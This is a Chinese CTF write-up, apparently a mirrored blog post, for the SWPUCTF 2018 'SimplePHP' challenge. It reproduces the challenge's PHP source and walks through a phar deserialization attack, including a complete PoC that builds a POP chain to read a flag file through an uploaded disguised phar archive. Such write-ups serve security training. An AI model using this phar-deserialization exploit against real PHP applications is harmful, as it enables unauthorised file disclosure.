zoukankan      html  css  js  c++  java
  • [SWPUCTF 2018]SimplePHP

    [SWPUCTF 2018]SimplePHP  地址:https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP

    一、信息收集

      打开这道题目,发现功能有文件读取和文件上传。简单测试可知:

      1、文件上传有过滤,难以直接利用。后续的代码也证实了上传的文件后缀会被改为jpg

      2、文件读取处存在文件包含漏洞,可以读取源代码

    二、代码审计

      在file.php中可以看的,文件没有过滤phar流,直接调用file_exists函数,就 可以猜测道这题的思路应该就是phar的反序列化,如下:

      function.php:

    <?php 
    //show_source(__FILE__); 
    include "base.php"; 
    header("Content-type: text/html;charset=utf-8"); 
    error_reporting(0); 
    function upload_file_do() { 
        global $_FILES; 
        $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
        //mkdir("upload",0777); 
        if(file_exists("upload/" . $filename)) { 
            unlink($filename); 
        } 
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
        echo '<script type="text/javascript">alert("上传成功!");</script>'; 
    } 
    function upload_file() { 
        global $_FILES; 
        if(upload_file_check()) { 
            upload_file_do(); 
        } 
    } 
    function upload_file_check() { 
        global $_FILES; 
        $allowed_types = array("gif","jpeg","jpg","png"); 
        $temp = explode(".",$_FILES["file"]["name"]); 
        $extension = end($temp); 
        if(empty($extension)) { 
            //echo "<h4>请选择上传的文件:" . "<h4/>"; 
        } 
        else{ 
            if(in_array($extension,$allowed_types)) { 
                return true; 
            } 
            else { 
                echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
                return false; 
            } 
        } 
    } 
    ?> 

      class.php:

    <?php
    class C1e4r
    {
        public $test;
        public $str;
        public function __construct($name)
        {
            $this->str = $name;
        }
        public function __destruct()
        {
            $this->test = $this->str;
            echo $this->test;
        }
    }
    
    class Show
    {
        public $source;
        public $str;
        public function __construct($file)
        {
            $this->source = $file;   //$this->source = phar://phar.jpg
            echo $this->source;
        }
        public function __toString()
        {
            $content = $this->str['str']->source;
            return $content;
        }
        public function __set($key,$value)
        {
            $this->$key = $value;
        }
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
            
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    class Test
    {
        public $file;
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
        public function __get($key)
        {
            return $this->get($key);
        }
        public function get($key)
        {
            if(isset($this->params[$key])) {
                $value = $this->params[$key];
            } else {
                $value = "index.php";
            }
            return $this->file_get($value);
        }
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    }
    ?>

    1、搜索__destruct,找到析构函数在C1e4r类中,其会echo成员变量str。

    2、在Show类,有__toString函数,刚好可以被echo显示。这里大概知道最终的poc会存在如下的伪代码:

    $c = new C1e4r();
    $c->str = new Show();

    3、在Test类,有__get函数,会在访问一个不存在的成员变量是调用该方法。随后该方法调用get函数-》file_get函数-》file_get_contents获取内容。

    4、至此知道,最终需要file_get_contents来获取flag的内容,大概知道最终的poc会存在如下的伪代码:

    $t = new Test();
    $t->params['notExist'] = '/var/www/html/f1ag.php';

    5、以上,我们的pop链只剩下最后的Show类和Test类的关联,还是在Show类的__toString函数中,可知,需要这个‘notExist’应为‘source’。最终的poc如下:

    <?php
    class Test
    {
        public $str;
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
    
    }
    
    class C1e4r
    {
        public $test;
        public $str;
    
    }
    
    class Show
    {
        public $source;
        public $str = array();
    
    }
        $t = new Test();
        $c = new C1e4r();
        $s = new Show();
        $t->params['source'] = '/var/www/html/f1ag.php';
        $s->str['str'] = $t;
        $c->str = $s;
    
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $phar->setMetadata($c); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

    三、验证流程

      1、使用poc生成phar.phar文件,将其该名为phar.jpg,然后上传,如下:

      2、然后需要找到上传后的文件路径,通过function.php中的如下代码可以计算出文件名称,但不知道什么原因,我计算出的名称总是不对:

    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 

      但是这里有文件列出的漏洞,还是可以找到文件名称:

    3、包含上传的文件,base64解码,得到flag,如下:

  • 相关阅读:
    MDX Step by Step 读书笔记(六) Building Complex Sets (复杂集合的处理) Filtering Sets
    在 Visual Studio 2012 开发 SSIS,SSAS,SSRS BI 项目
    微软BI 之SSIS 系列 在 SSIS 中读取 SharePoint List
    MDX Step by Step 读书笔记(五) Working with Expressions (MDX 表达式) Infinite Recursion 和 SOLVE_ORDER 原理解析
    MDX Step by Step 读书笔记(五) Working with Expressions (MDX 表达式)
    使用 SQL Server 2012 Analysis Services Tabular Mode 表格建模 图文教程
    MDX Step by Step 读书笔记(四) Working with Sets (使用集合) Limiting Set and AutoExists
    SQL Server 2012 Analysis Services Tabular Model 读书笔记
    Microsoft SQL Server 2008 MDX Step by Step 学习笔记连载目录
    2011新的开始,介绍一下AgileEAS.NET平台在新的一年中的发展方向
  • 原文地址:https://www.cnblogs.com/or4nge/p/13445495.html
Copyright © 2011-2022 走看看